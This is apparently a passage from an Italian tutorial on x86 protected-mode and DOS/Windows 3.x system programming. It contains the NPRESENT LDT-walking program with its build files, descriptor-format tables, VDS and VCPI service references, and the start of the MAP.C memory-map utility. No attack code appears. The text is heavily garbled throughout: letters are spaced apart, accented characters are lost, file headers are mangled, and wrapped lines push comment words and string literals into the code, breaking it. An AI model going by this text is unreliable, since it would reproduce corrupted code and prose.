// Call the extensions with AX == 0x100. The LDT alias
// selector is return in AX. Carry flag is set on failure.
_asm mov ax, 100h
LDT_alias = dpmiproc();
_asm jc extensions_not_found;

return LDT_alias;

extensions_not_found: // We get here if something failed
return 0;
}

void ListNotPresentSelectors(HWND hWndDlg)
{
DESCRIPTOR FAR * lpDescriptor;
char szBuffer[260];
char szFilename[260];
LPSTR lpszBaseFilename;
unsigned i, ldtSelectorCount;
unsigned cCode=0, cData=0;

// Get a pointer to the start of the LDT
lpDescriptor = MAKELP(GetLDTAlias(), 0);
if ( !lpDescriptor )
{
MessageBox(hWndDlg, "Unable to find LDT", 0, MB_OK);
return;
}

// The alias selector that allows access to the LDT can have a limit
// of less than 64K to prevent poking around in the unused upper
// reaches. Therefore, we need to figure out how many DESCRIPTOR
// entries can fit within the limit of the LDT alias
ldtSelectorCount = (WORD)GetSelectorLimit( SELECTOROF(lpDescriptor) )
/ sizeof(DESCRIPTOR);

// Iterate through each descriptor of the LDT (or at least every selector
// that we're allowed to look at)
for ( i=0; i < ldtSelectorCount; i++ )
{
// If it's a not present descriptor and at ring 3, do our thing
if ( !(lpDescriptor->present) && (lpDescriptor->dpl == 3) )
{
// Get the owner's filename.
if ( GetModuleFileName(lpDescriptor->limit_0_15, szFilename,
sizeof(szFilename)) == 0 )
{
// GetModuleFileName() failed. The selector's owner
isn't
// an HMODULE, so format a string with the owning PSP
wsprintf(szFilename, "allocated by PSP %04X",
lpDescriptor->limit_0_15);
lpszBaseFilename = szFilename;
}
else // GetModuleFileName() succeeded (owner is an HMODULE)
{
// search backwards from the end of the string to find
the
// final directory separator. If it's found, bump up
// the pointer by one to point directly to the base
filename
lpszBaseFilename = _fstrrchr(szFilename, '\\');
if ( lpszBaseFilename )
lpszBaseFilename++;
}

// Format the string to go into the listbox:
// "Selector code/data OwningFilename"
wsprintf(szBuffer, "%04X %s %s", (i * 8) + 7,
(LPSTR)(lpDescriptor->code_data ? "CODE" :
"DATA"),
(LPSTR)(lpszBaseFilename));


// Add the string to the listbox
SendDlgItemMessage(hWndDlg, IDL_SELECTORS, LB_ADDSTRING,
0, (LPARAM)(LPSTR)szBuffer);

// update our running code/data descriptor totals
lpDescriptor->code_data ? cCode++ : cData++;
}

lpDescriptor++; // Advance to the next descriptor
}

// Now that we've gone through all the descriptors, spit out the
// final totals into the text control
wsprintf(szBuffer, "Code: %u Data: %u", cCode, cData);
SendDlgItemMessage(hWndDlg, IDT_TOTALS, WM_SETTEXT,
0, (LPARAM)(LPSTR)szBuffer);
}

BOOL CALLBACK _export NPresentDlgProc(HWND hWndDlg, UINT msg,
WPARAM wParam, LPARAM lParam)
{
switch ( msg )
{
case WM_COMMAND:
if ( wParam == IDB_EXIT )
EndDialog(hWndDlg, 0);
return TRUE;
case WM_INITDIALOG:
ListNotPresentSelectors(hWndDlg);
return TRUE;
case WM_CLOSE:
EndDialog(hWndDlg, 0);
return FALSE;
}
return FALSE;
}

int PASCAL WinMain( HANDLE hInstance, HANDLE hPrevInstance,
LPSTR lpszCmdLine, int nCmdShow )
{
DialogBox(hInstance, "NPresentDlg", 0, (DLGPROC)NPresentDlgProc);
return 0;
}


Quest o l f i l e . DEF

NAME NPRESENT
DESCRIPTION 'Program to generate not-present fault'
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
STACKSIZE 5120
HEAPSIZE 5120

I l f i l e . RC

#include <windows.h>
#include "npresent.h"

NPresentDlg DIALOG 100, 48, 148, 118
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "NPRESENT - Matt Pietrek 1993"
BEGIN
LTEXT "Not-Present Ring 3 selectors", -1, 4, 4, 104, 9, WS_CHILD |
WS_VISIBLE | WS_GROUP
LISTBOX IDL_SELECTORS, 4, 14, 140, 80, LBS_NOTIFY | WS_CHILD | WS_VISIBLE
| WS_BORDER | WS_VSCROLL
PUSHBUTTON "Exit", IDB_EXIT, 121, 100, 24, 14, WS_CHILD | WS_VISIBLE |
WS_TABSTOP
LTEXT "", IDT_TOTALS, 4, 103, 104, 8, WS_CHILD | WS_VISIBLE | WS_GROUP
END

Ed i nf i ne i l f i l e . H e . MAK

#define IDL_SELECTORS 101
#define IDB_EXIT 102
#define IDT_TOTALS 103

PROJNAME = NPRESENT

$(PROJNAME).exe: $(PROJNAME).obj $(PROJNAME).res
link /ON:N /A:16 $(PROJNAME).obj, $(PROJNAME), , \
LIBW.LIB TOOLHELP.LIB SLIBCEW.LIB,$(PROJNAME).def
RC $(PROJNAME).res $(PROJNAME).exe

$(PROJNAME).obj: $(PROJNAME).c $(PROJNAME).h
CL /W3 /GAs /G2 /c /Zi $(PROJNAME).c

$(PROJNAME).res: $(PROJNAME).rc
RC -R -FO $(PROJNAME).res $(PROJNAME).rc

Anal i zzando i l pr ogr amma pot r est e capi r e l a t ecni ca che comunque vi sar pi
chi ar a guar dando i f or mat i del l e seguent i st r ut t ur e.
I l seguent e un f or mat o di base del descr i t t or e dei segment i .

Segment Descriptor
------------------

15 14 13 12 11 10 09 08 07 06 05 04 03 02 01 00
[ Base address 31:24 ] [G] [D] [0] [AVL] [Sg. length 19:16]
[P] [DPL] [DT] [ Type ] [ Base address 23:16 ]
[ Base address 15:00 ]
[ Segment length 15:00 ]

Guar dat e l e t abel l a nel l e pagi ne successi ve i descr i t t or i usat i .
I l descr i t t or e di base di un segment o ha l unghezza 4*16=64 bi t s.
Al f i ne di compr ender e i n modo mi gl i or e quest a st r ut t ur a l a si pu veder e i n
f or mat o assembl at i vo.

; contains a segment descriptor

struc segment_descriptor
seg_length0_15 dw ? ; low word of the segment length
base_addr0_15 dw ? ; low word of base address
base_addr16_23 db ? ; low byte of high word of base addr.
flags db ? ; segment type and misc. flags
access db ? ; highest nibble of segment length
; and access flags
base_addr24_31 db ? ; highest byte of base address
ends segment_descriptor

I l descr i t t or e degl i i nt er r upt s i nvece i l seguent e.

15 14 13 12 11 10 09 08 07 06 05 04 03 02 01 00
[ Offset 31:16 ]
[P] [ DPL ] [0] [1] [1] [1] [0] [0] [0] [0] [0] [0] [0] [0] [0]
[ Selector 00:15 ]
[ Offset 00:15 ]

I n f or mat o assembl er i nvece :

; contains an interrupt descriptor

struc interrupt_descriptor
offset0_15 dw ? ; low word of handler offset
selector0_15 dw ? ; segment selector
zero_byte db 0 ; unused in this descriptor format
flags db ? ; flag-byte
offset16_31 dw ? ; high word of handler offset
ends interrupt_descriptor

I l si gni f i cat o dei var i i ndi cat or i i l seguent e.

G E l a gr anul ar i t del segment o
G = 0 1 byt e4 di gr anul ar i t
G = 1 4 K di gr anul ar i t
Se quest o bi t set t at o si deve mol t i pl i car e per 4096 l a l unghezza del o
campo nel descr i t t or e per aver e l a l unghezza r eal e.

D Di mensi one di def ual t del l oper ando
D = 0 Oper ando a 16 bi t s
D = 1 Oper ando a 32 bi t s
Le di mensi oni di def aul t degl i oper andi di cer t e i st r uzi oni speci al i qual i
REP xxx.

AVL Di sponi bi l e per i l si st ema
Quest o bi t non usat o per i pr ocessor i 286/ 386/ 486.

P Pr esenza
P = 0 i l segment o non pr esent e
P = 1 i l segment o pr esent e
Con quest o bi t possi bi l e i mpl ement ar e un gest or e di memor i a vi r t ual e.
Se un appl i cazi one vuol e al l ocar e pi memor i a di quant a di sponi bi l e,
sal vat e l ul t i mo segment o usat o su di sco, qui ndi cancel l at e i l bi t i n P.
I l pr ossi mo accesso a quest o segment o cr eer un Gener al Pr ot ect i on Faul t .
Si i nt er cet t a l er r or e , si r i l egge i l segment o e si set t a i l suo bi t P.
I l pr ocessor e t est a P sol o dopo aver gener at o i l Geneal Pr ot ect i on Faul t .

DPL Descr i pt or Pr i vi l ege Level .
0 <= DPL <= 3
I l DPL cont i ene quel l o def i ni t o come Descr i pt or Pr i vi l ege Level .
Quest o ha un r ange da 0 ( pr i vi l egi o maggi or e) a 3 ( pr i vi l egi o mi nor e) .
Se i l pr ocessor e t ent a di acceder e ad un segment o con pr i vi l egi o maggi or e
di quel l o da cui st at a gener at a l a chi amat a, gener a un Gener al
Pr ot ect i on Faul t .

DT Descr i pt or Type.
DT = 0 Syst emescr i pt or ( Syst emsegment o Gat e)
DT = 1 Appl i cat i on descr i pt or ( Dat a o Code)
Se quest o bi t azzer at o i l descr i t t or e descr i ve un segment o che
di sponi bi l e per un sof t war e di si st ema o per un descr i t t or e di gat e.

TYPE Ti po di segment o.
Quest i 4 bi t s descr i vono i l t i po di segment o.


Bit 3 2 1 0 Type Description
Name T E W A
0 0 0 0 Data read-only
0 0 0 1 Data read-only, accessed
0 0 1 0 Data read/write
0 0 1 1 Data read/write, accessed
0 1 0 0 Data read-only, expand down
0 1 0 1 Data read-only, exp. down, acc.
0 1 1 0 Data read-write, expansion down
0 1 1 1 Data read-write, exp. down, acc.
1 0 0 0 Code exec-only
---------------------------------------------------------------
Name T C R A
1 0 0 1 Code exec-only, accessed
1 0 1 0 Code exec-read
1 0 1 1 Code exec-read, accessed
1 1 0 0 Code exec-only, conforming
1 1 0 1 Code exec-only, conf., acc.
1 1 1 0 Code exec-read, conforming
1 1 1 1 Code exec-read, conf., acc.

Nel pr ossi mo capi t ol o vedr emo un t abel l a con t ut t i gl i i nt er r upt s.
Qui a segui t o r i por t o gl i i nt er r upt s e i ser vi zi l egat i al modo pr ot et t o.

Er r or codes:

01h region not in contigous memory
02h region crossed a physical alignment boundary
03h unable to lock pages
04h no buffer available
05h region too large for buffer
06h buffer currently in use
07h invalid memory region
08h region wasn't locked
09h number of physical pages greater than table length
0ah invalid buffer ID
0bh copy out of buffer range
0ch invalid DMA channel number
0dh disable count overflow
0eh disable count underflow
0fh function not supported
10h reserved flag bits set in DX


( DMA Descr i pt or St r uct ur e - DDS) .
For mat as f ol l owi ng:

Offset Bytes Meaning
00h 4 size of region
04h 4 region offset
08h 2 region segment
0ah 2 buffer ID
0ch 4 linear address

Al cune f nzi oni usano un f or mat o est eso ( EDDS) :

Offset Bytes Meaning
00h 4 size of region
04h 4 region offset
08h 2 region segment
0ah 2 reserved
0ch 2 number available
0eh 2 number used
10h 4 linear address (region 0)
14h 4 size in bytes (region 0)
18h 4 linear address (region 1)
1ch 4 size in bytes (region 1)
.
.
.

I f t her e ar e page t abl es cont ai ned, t he f ol l owi ng st r uct ur e appl i es:

Offset Bytes Meaning
00h 4 size of region
04h 4 region offset
08h 2 region segment
0ah 2 reserved
0ch 2 number available
0eh 2 number used
10h 4 Page Table Entry 0
14h 4 Page Table Entry 1
.
.
.

Bi t s 1- 12 of a Page Tabl e Ent r y shoul d be cl ear ed. Bi t 0 has t o be set i f t he
page i s pr esent and l ocked.


Func: VDS Get Version (AX=8102h)
Call: INT 4Bh
I nput : AX=8102h
DX=0
Ret ur n: CY=1 - er r or
AL=er r or code
CF=0 - ok
AH=maj or ver si on number
AL=mi nor ver si on number
BX=pr oduct number
CX=r evi si on number
DX=f l ags
SI : DI =buf f er si ze
Not es: Fl ag bi t s i n DX:
Bi t Meani ng
0 PC/ XT Bus Syst em( 1Mb addr essabl e)
1 physi cal buf f er / r emap r egi on i n 1st Mb
2 aut omat i c r emap enabl ed
3 al l memor y physi cal l y cont i gous
4- 15 r eser ved
SI : DI cont ai ns maxi mal si ze of DMA buf f er .


Func: VDS Lock DMA Region (AX=8103h)
Call: INT 4Bh
I nput : AX=8103h
DX=Fl ags
ES: SI =DMA Descr i pt or
Ret ur n: CY=1 - er r or
AL=er r or code
CY=0 - ok
Not es: DX i s used as f l ag r egi st er t o cont r ol t he oper at i on.
Bi t Meani ng
0 r eser ved ( cl ear ed)
1 copy dat a t o buf f er ( i gnor ed i f bi t 2 set )
2 don' t al l ocat e buf f er i f r egi on not cont i gous or
exceeds physi cal boundar i es ( bi t 4, 5)
3 don' t t r y t o aut omat i cal l y r emap
4 r egi on must not exceed 64kb
5 r egi on must not exceed 128kb
6- 15 r eser ved ( cl ear ed)
Regi on Si ze Fi el d i n DDS cont ai ns si ze of maxi mal cont i gous memor y
ar ea. I f Car r y Fl ag i s cl ear , ar ea i s l ocked and may not be swapped.
Physi cal Addr ess and Buf f er I D ar e f i l l ed by t he f unct i on. I f Buf f er I D
i s 0, no buf f er has been al l ocat ed.


Func: VDS Unlock DMA Region (AX=8104h)
Call: INT 4Bh
I nput : AX=8104h
DX=f l ags
ES: DI =DMA Descr i pt or
Ret ur n: CY=1 - er r or
AL=er r or code
CY=0 - ok
Not es: Fl ag bi t s i n DX:
Bi t Meani ng
0 r eser ved ( cl ear ed)
1 Copy dat a f r ombuf f er
2- 15 r eser ved ( cl ear ed)
Regi on Si ze, Physi cal Addr ess and Buf f er I D i n DDS have t o be f i l l ed.


Func: VDS Scatter/Gather Lock Region (AX=8105h)
Call: INT 4Bh
I nput : AX=8105h
BX=page of f set ( not sur e about i t )
DX=f l ags
ES: DI =DMA Descr i pt or
Ret ur n: CY=1 - er r or
AL=er r or code
CY=0 - ok
Not es: Funct i on i s used t o l ock par t s of memor y. Usef ul i f par t s of memor y
ar e swapped out .
Fl ag bi t s i n DX:
Bi t Meani ng
0- 5 r eser ved ( cl ear ed)
6 r et ur n EDDS wi t h page t abl e ent r i es
7 onl y l ock exi st i ng pages, f i l l not exi st i ng pages
wi t h 0
8- 15 r eser ved ( cl ear ed)
Regi on Si ze, Li near Segment , Li near Of f set and Number Avai l abl e have t o
be set . Regi on Si ze Fi el d i n EDDS wi l l be f i l l ed wi t h si ze of l ar gest
cont i gous memor y bl ock. Number Used wi l l be f i l l ed wi t h t he number of
used pages. I f bi t 6 i n DX i s set , l ower 12 bi t s of BX shoul d cont ai n
of f set of f i r st page ( not sur e about t hat ) .


Func: VDS Scatter/Gather Unlock Region (AX=8106h)
Call: INT 4Bh
I nput : AX=8106h
DX=Fl ags
ES: DI =DMA Descr i pt or
Ret ur n: CY=1 - er r or
AL=er r or code
CY=0 - ok
Not es: Fl ag bi t s i n DX:
Bi t Meani ng
0- 5 r eser ved ( cl ear ed)
6 EDDS cont ai ns page t abl e ent r i es
7 EDDS may cont ai n not pr esent pages
8- 15 r eser ved ( cl ear ed)
ES: DI cont ai ns EDDS i ni t i al i sed by f unct i on 8105h.


Func: VDS Request DMA Buffer (AX=8107h)
Call: INT 4Bh
I nput : AX=8107h
DX=Fl ags
ES: DI =DMA Descr i pt or
Ret ur n: CY=1 - er r or
AL=er r or code
CY=0 - ok
Not es: Fl ag bi t s i n DX:
Bi t Meani ng
0 r eser ved ( cl ear ed)
1 Copy dat a t o buf f er
2- 15 r eser ved ( cl ear ed)
ES: DI cont ai ns poi nt er t o DDS. Regi on Si ze has t o be f i l l ed. I f bi t 1
i n DX i s set , Regi on Of f set and Regi on Segment have t o be f i l l ed, t oo.
Funct i on r et ur ns Physi cal Addr ess, Buf f er I D and Regi on Si ze.


Func: VDS Release DMA Buffer (AX=8108h)
Call: INT 4Bh
I nput : AX=8108h
DX=f l ags
ES: DI =DMA Descr i pt or
Ret ur n: CY=1 - er r or
AL=er r or code
CY=0 - ok
Not es: Fl ag bi t s i n DX:
Bi t Meani ng
0 r eser ved ( cl ear ed)
1 copy dat a f r ombuf f er
2- 15 r eser ved ( cl ear ed)
Buf f er I D i n DDS has t o f i l l ed. I f bi t 1 i n DX i s set , Regi on Si ze,
Regi on Of f set and Regi on Segment have t o be i ni t i al i sed, t oo.


Func: VDS Copy into DMA Buffer (AX=8109h)
Call: INT 4Bh
I nput : AX=8109h
DX=0
ES: DI =DMA Descr i pt or
BX: CX=of f set
Ret ur n: CY=1 - er r or
AL=er r or code
CY=0 - ok
Not es: BX: CX cont ai ns of f set i nt o DMA Buf f er . ES: DI cont ai ns poi nt er t o
DDS.
Buf f er I D, Regi on Of f set , Regi on Segment and Regi on Si ze have t o be
i ni t i al i sed.


Func: VDS Copy out of DMA Buffer (AX=810ah)
Call: INT 4Bh
I nput : AX=810ah
DX=0
ES: DI =DMA Descr i pt or
BX: CX=of f set
Ret ur n: CY=1 - er r or
AL=er r or code
CY=0 - ok
Not es: BX: CX cont ai ns of f set i nt o DMA Buf f er . ES: DI cont ai ns poi nt er t o
DDS.
Buf f er I D, Regi on Of f set , Regi on Segment and Regi on Si ze have t o be
i ni t i al i sed.


Func: VDS Disable DMA Translation (AX=810bh)
Call: INT 4Bh
I nput : AX=810bh
DX=0
BX=DMA channel
Ret ur n: CY=1 - er r or
AL=er r or code
CY=0 - ok
Not es: Funct i on st ops DMA t r ansf er on channel BX.


Func: VDS Enable DMA Translation (AX=810ch)
Call: INT 4Bh
I nput : AX=810ch
DX=0
BX=DMA channel
Ret ur n: CY=1 - er r or
AL=er r or code
CY=0 - ok
Not es: Funct i on st ar t s DMA t r ansf er on channel BX.

VIRTUAL CONTROL PROGRAM INTERFACE (VCPI)

I l VCPI i l met odo sandar d pe l a gest i one del l a memor i a i n modo pr ot et t o.
La comuni cazi one t r a l i nt er f acci a e l appl i cazone suddi vi sa i n Ser ver e
Cl i ent .
I l pr ogr amma che gest i sce l i nt er f acci a vi st o come Ser ver ment r e
l appl i cazi one come Cl i ent .
Per chi amar e i l ser ver ci sono due met odi : i n modo r eal e ci si pu ser vi r e
del l i nt er r upt 67H ment r e i n modo pr ot et t o bi sogna esegui r e del l e CALL FAR.
Qui a segui t o sono r i por t at i i ser vi zi del l i nt 67H.

Func: VCPI Installation Check (INT 67h, AX=DE00h)
Call: INT 67h
I nput : AX=DE00h
Ret ur n: AH=0 - VCPI i s avai l abl e
BH=maj or ver si on number
BL=mi nor ver si on number
AH! =0 - VCPI not avai l abl e
Not es: Some docs say t hat AH=84h on r et ur n i f VCPI i sn' t avai l abl e, but EMM
i s enabl ed.


Func: VCPI Get Protected Mode Interface (INT 67h, AX=DE01h)
Call: INT 67h
I nput : AX=DE01h
DS: SI =poi nt er t o descr i pt or s
ES: DI =poi nt er t o cl i ent pages
Ret ur n: AH=0 - ok
DI =poi nt er i nt o page di r ect or y
EBX=of f set of ent r y poi nt
AH! =0 - er r or
Not es: To cal l t he Ser ver i n Pr ot ect ed Mode, you have t o use t he r et ur ned
addr ess. The memor y at DS: SI has t o have enough space f or t hr ee GDT
Descr i pt or s, t he f i r st descr i pt or wi l l be f i l l ed wi t h t he VCPI
code segment . Use a FAR CALL i nt o t hi s segment , of f set EBX, t o r each
t he Ser ver di spat cher . The space has t o be i n t he f i r st page i n t he
appl i cat i ons code segment . ES: DI has t o cont ai n a poi nt er t o a l i st of
pages used by t he Cl i ent . I n DI , a poi nt er t o t he f i r st unused page i s
r et ur ned.


Func: VCPI Get Maximum Physical Memory (INT 67h, AX=DE02h)
Call: INT 67h
I nput : AX=DE02h
Ret ur n: AH=0 - ok
EDX=page addr ess
AH! = - er r or
Not es: EDX cont ai ns t he addr ess of t he hi ghest 4kb page i n memor y. The
l owest
12 bi t s ar e set t o zer o. Some Cl i ent s ar e usi ng t hi s cal l t o
i ni t i al i ze t hei r dat a st r uct ur es.


Func: VCPI Get Number of Free 4K Pages (INT 67h / CALL FAR, AX=DE03h)
Call: INT 67h / CALL FAR
I nput : AX=DE03h
Ret ur n: AH=0 - ok
EDX=number of f r ee pages
AH! =0 - er r or
Not es: The cal l r et ur ns t he number of f r ee pages t hat ar e avai l abl e f or al l
t asks. Thi s f unct i on i s avai l abl e i n Pr ot ect ed Mode, t oo. ( CALL FAR. . . )


Func: VCPI Allocate a 4K Page (INT 67h / CALL FAR, AX=DE04h)
Call: INT 67h / CALL FAR
I nput : AX=DE04h
Ret ur n: AH=0 - ok
EDX=page addr ess
AH! =0 - er r or
Not es: The f unct i on al l ocat es a 4K page f or t he Cl i ent . The l owest 12 bi t s
of
EDX ar e set t o 0. Thi s f unct i on i s avai l abl e i n Pr ot ect ed Mode, t oo.


Func: VCPI Free a 4K Page (INT 67h / CALL FAR, AX=DE05h)
Call: INT 67h / CALL FAR
I nput : AX=DE05h
EDX=page addr ess
Ret ur n: AH=0 - ok
AH! =0 - er r or
Not es: The page has t o be al l ocat ed by f unct i on DE04h. The l owest 12 bi t s
of
EDX ar e set t o 0. Thi s f unct i on i s avai l abl e i n Pr ot ect ed Mode, t oo.


Func: VCPI Get Physical Address of Page in First MB (INT 67h, AX=DE06h)
Call: INT 67h
I nput : AX=DE06h
CX=page number
Ret ur n: AH=0 - ok
EDX=page addr ess
AH! =0
Not es: The f unct i on r et ur ns t he addr ess of a page i n t he f i r st MB. The
l owest
12 bi t s of EDX ar e set t o zer o. The page number i n CX i s t he addr ess of
t he page SHL 12. ( Thi s i s wr i t t en i n my VCPI docs, but qui t e i l l ogi cal ,
because t hen t her e ar e onl y t he 4 hi ghest bi t s avai l abl e f or t he page
number )


Func: VCPI Read CR0 (INT 67, AX=DE07h)
Call: INT 67h
I nput : AX=DE07h
Ret ur n: AH=0 - ok
EBX=CR0
AH! =0 - er r or
Not es: The f unct i on r et ur ns CR0 i n EBX because MOV xxx, CR0 i sn' t al l owed i n
V86 Mode. However , EMM386 and QEMM si mul at e t hi s i nst r uct i on and you
don' t have t o use an i nt er r upt cal l .


Func: VCPI Read Debug Register (INT 67h, AX=DE08h)
Call: INT 67h
I nput : AX=DE08h
ES: DI =poi nt er t o buf f er
Ret ur n: AH=0 - ok
AH! =0 - er r or
Not es: ES: DI has t o pr ovi de enough space f or 8 ent r i es, ever y ent r y has a
si ze
of 4 byt es. The f unct i on st or es DR0, DR1, . . . , DR7. DR4 and DR5 ar e
unused.


Func: VCPI Set Debug Register (INT 67h, AX=DE09h)
Call: INT 67h
I nput : AX=DE09h
ES: DI =poi nt er t o buf f er
Ret ur n: AH=0 - ok
AH! =0 - er r or
Not es: ES: DI has t o poi nt t o a t abl e wi t h 8 ent r i es, ever y ent r y has a si ze
of
4 byt es. The f unct i on l oads DR0, DR1, . . . , DR7. DR4 and DR5 ar e unused.


Func: VCPI Get 8259 Interrupt Vector Mappings (INT 67h, AX=DE0Ah)
Call: INT 67h
I nput : AX=DE0Ah
Ret ur n: AH=0 - ok
BX=1st PI C Vect or Map
CX=2nd PI C Vect or Map
AH! =0 - er r or
Not es: The Ser ver r et ur ns t he mappi ng f r omt he Mast er PI C i n BX ( st ar t of
f i r st 8 har dwar e I RQs) and t he mappi ng f r omt he Sl ave PI C i n CX ( st ar t
of next 8 har dwar e I RQs) . I f t her e' s no Sl ave PI C i nst al l ed, CX i s
undef i ned.


Func: VCPI Set 8259 Interrupt Mappings (INT 67h, AX=DE0Bh)
Call: INT 67h
I nput : AX=DE0Bh
BX=1st PI C Vect or Map
CX=2nd PI C Vect or Map
Ret ur n: AH=0 - ok
AH! =0 - er r or
Not es: Mast er PI C i s pr ogr ammed wi t h BX, Sl ave PI C i s pr ogr ammed wi t h CX.
I nt er r upt s have t o be di sabl ed bef or e cal l i ng t hi s f unct i on.


Func: VCPI Switch to Protected Mode (INT 67h, AX=DE0Ch)
Call: INT 67h
I nput : AX=DE0Ch
ESI =poi nt er t o dat a st r uct ur e
Ret ur n: AH=0 - ok
AH! =0 - er r or
Not es: The dat a st r uct ur e has t o be set up by t he Cl i ent i n t he f i r st MB.
ESI
has t o cont ai n t he l i near addr ess of i t . St r uct ur e as f ol l ows:
Of f set Byt es Meani ng
00h 4 new val ue f or CR3
04h 4 l i near addr ess i n f i r st MB of val ue f or
GDT r egi st er ( 6 byt es)
08h 4 l i near addr ess i n f i r st MB of val ue f or
I DT r egi st er ( 6 byt es)
0Ch 2 sel ect or f or LDT r egi st er
0Eh 2 sel ect or f or Task Regi st er
10h 4 EI P of Pr ot ect ed Mode ent r y poi nt
14h 2 CS of Pr ot ect ed Mode ent r y poi nt
The f unct i on l oads GDTR, I DTR, LDTR and TR. SS: ESP has t o poi nt t o a
st ack wi t h at l east 16 byt es avai l abl e on ent r y. EAX, ESI , DS, ES, FS
and GS ar e dest r oyed.
The CPU cont i nues execut i on i n Pr ot ect ed Mode at addr ess CS: EI P
speci f i ed i n t he t abl e.
I nt er r upt s ar e di sabl ed on r et ur n.


Func: Switch from Protected Mode to V86 Mode (CALL FAR, AX=DE0Ch)
Call: CALL FAR
I nput : AX=DE0Ch
DS=segment sel ect or
Ret ur n: - - -
Not es: The st ack has t o be shi f t ed i n t he f i r st MB on ent r y. DS has t o
cont ai n
a sel ect or f or a segment t hat i ncl udes t he addr ess ar ea r et ur ned by
f unct i on DE01h.
The f unct i on swi t ches t o V86 mode. I nt er r upt have t o be di sabl ed.
GDTR, I DTR, LDTR and TR ar e i ni t i al i sed by t he Ser ver . SS: ESP has t o
cont ai n t he f ol l owi ng st r uct ur e:
Of f set Meani ng
- 28h GS
- 24h FS
- 20h DS
- 1Ch ES
- 18h SS
- 14h ESP
- 10h r eser ved
- 0Ch CS
- 08h EI P
00h r et ur n addr ess
EAX i s dest r oyed.

Ed or a ecco un bel pr ogr ammi no che usando l i nt er r upt 67h appena vi st o vi
r est i t usce i nf or mazi oni sul l a memor i a i n t ut t e l e sal se.

// --------------------------------------------------------------------------
//
// File: MAP.C
// Compiler: Borland C++ 3.1 (COMPACT model with byte alignment)
// Notes: Memory map.
//
// --------------------------------------------------------------------------

// Include files ------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <mem.h>
#include <string.h>

// Constants ----------------------------------------------------------------
#define uchar unsigned char
#define ushort unsigned int
#define ulong unsigned long

#define FALSE 0
#define TRUE 1

#define MAX_ITEM 150
#define MAX_VEC 100
#define MAX_DRIVE 20
#define MAX_HANDLE 255

#define MT_NONE 0
#define MT_SYSCODE 1
#define MT_SYSDATA 2
#define MT_PROGRAM 3
#define MT_DEVICE 4
#define MT_ENV 5
#define MT_DATA 6
#define MT_FREE 7
#define MT_MAP 8

#define NORMAL 0
#define UPPER 1

#define USAGE "MAP 2.0, memory map utility\n" \
"Usage: MAP [-option ...]\n" \
"Options:\n" \
" -n list of programs in normal memory
(default)\n" \
" -u list of programs in normal and upper
memory\n" \
" -f full list of memory blocks\n" \
" -d list of device drivers\n" \
" -x XMS report\n" \
" -e EMS report\n" \
" -h,? this text"

// Types --------------------------------------------------------------------

// Structure of device driver header.
typedef struct device_header {
struct device_header *next;
ushort attr;
ushort strategy_rutin;
ushort interrupt_rutin;
uchar name[8];
} DEVICE_HEADER;

// Structure of device driver information.
typedef struct {
struct device_header *addr;
uchar devname[9];
uchar progname[9];
ushort attr;
uchar drive_num;
uchar drives[MAX_DRIVE];
} DINFO;

// Structure of DOS DPB.
typedef struct dpb {
uchar drive_num;
uchar unit_number;
ushort bytes_in_sector;
uchar lsec_num;
uchar log_base;
ushort reserved_num;
uchar FAT_num;
ushort rootentry_num;
ushort first_sector;
ushort largest_cluster;
ushort sectors_in_FAT;
ushort root_firstsector;
DEVICE_HEADER *device_addr;
uchar media_desc;
uchar block_flag;
struct dpb *next_dpb;
} DPB;

// Internal structure of DOS DATA blocks.
typedef struct {
uchar type;
ushort start;
ushort size;
uchar unused[3];
uchar name[8];
} SD_HEADER;

// Stucture of MCB header.
typedef struct {
uchar type;
ushort owner;
ushort size;
uchar unused[3];
uchar name[8];
} MCB;

// Structure of programs, device drivers, memory blocks information.
typedef struct {
uchar type;
ushort seg;
ushort owner;
ushort environment;
uchar name[10];
ulong size;
uchar vecnum;
uchar vectors[MAX_VEC];
} MINFO;

// Structure of allocated EMS handles.
typedef struct {
ushort handle;
ushort pages;
} EMS_HANDLE;

// Structure of allocated XMS handles.
typedef struct {
ushort handle;
ulong size;
ushort locks;
} XMS_HANDLE;

// Local variables ----------------------------------------------------------
static uchar copyright[]=
"Sulyok Pter (C) 1992,1994.";

static MCB *first_mcb=NULL;
static MINFO mlist[MAX_ITEM];
static ushort mlistnum=0;
static DEVICE_HEADER *first_dev=NULL;
static DPB *first_dpb=NULL;
static DINFO dlist[MAX_ITEM];
static ushort dlistnum=0;
static uchar *typenames[]=
{
" ",
"system code ",
"system data ",
"program ",
"device driver",
"environment ",
"data area ",
"free ",
};

static uchar ems_installed=FALSE;
static uchar ems_name[]="EMMXXXX0";
static ushort ems_frame=0;
static uchar ems_vermajor=0;
static uchar ems_verminor=0;
static ulong ems_size=0L;
static ulong ems_free=0L;
static ushort ems_totalhandle=0;
static ushort ems_freehandle=0;
static ushort ems_usehandle=0;
static EMS_HANDLE ems_handles[MAX_HANDLE];

static uchar xms_installed=FALSE;
static void far (*xms_drv)(void);
static ulong xms_free=0L;
static ulong xms_largest=0L;
static uchar xms_vermajor=0;
static uchar xms_verminor=0;
static uchar xms_hma=0;
static uchar xms_a20=0;
static XMS_HANDLE xms_handles[MAX_HANDLE];
static ushort xms_usehandle=0;
static ushort xms_freehandle=0;

static uchar upper_installed=FALSE;
static ulong upper_free=0L;
static ulong upper_large=0L;
static ushort upper_index=0;

// Local functions ----------------------------------------------------------
static void check_ems(void);
static void check_xms(void);
static void check_upper(void);
static void check_memory(void);
static uchar get_upperlink(void);
static int set_upperlink(uchar);
static void search_vectors(MINFO *);
static void search_sd(MCB *);
static void register_mcb(MCB *);
static int is_psp(MCB *);
static ushort env_seg(MCB *);
static void make_mcb_list(void);
static void make_dev_list(void);
static void normal_list(uchar type);
static void full_list(void);
static void device_list(void);
static void ems_list(void);
static void xms_list(void);

// --------------------------------------------------------------------------
// Name: check_ems
// Input: -
// Output: -
// Notes: Checks EMS memory and gets EMS parameters.
// --------------------------------------------------------------------------
static void check_ems(void)
{
void far *int67;

int67=(void *)getvect(0x67);
if (int67 == NULL)
return;

asm push ds
asm push si
asm push di
asm les di,int67
asm mov di,10
asm lea si,ems_name
asm mov cx,8
asm cld
asm repe cmpsb
asm pop di
asm pop si
asm pop ds
asm jz _found
return;

_found:
ems_installed=TRUE;

asm mov ah,41h
asm int 67h
asm or ah,ah
asm jnz _error
asm mov ems_frame,bx

asm mov ah,46h
asm int 67h
asm or ah,ah
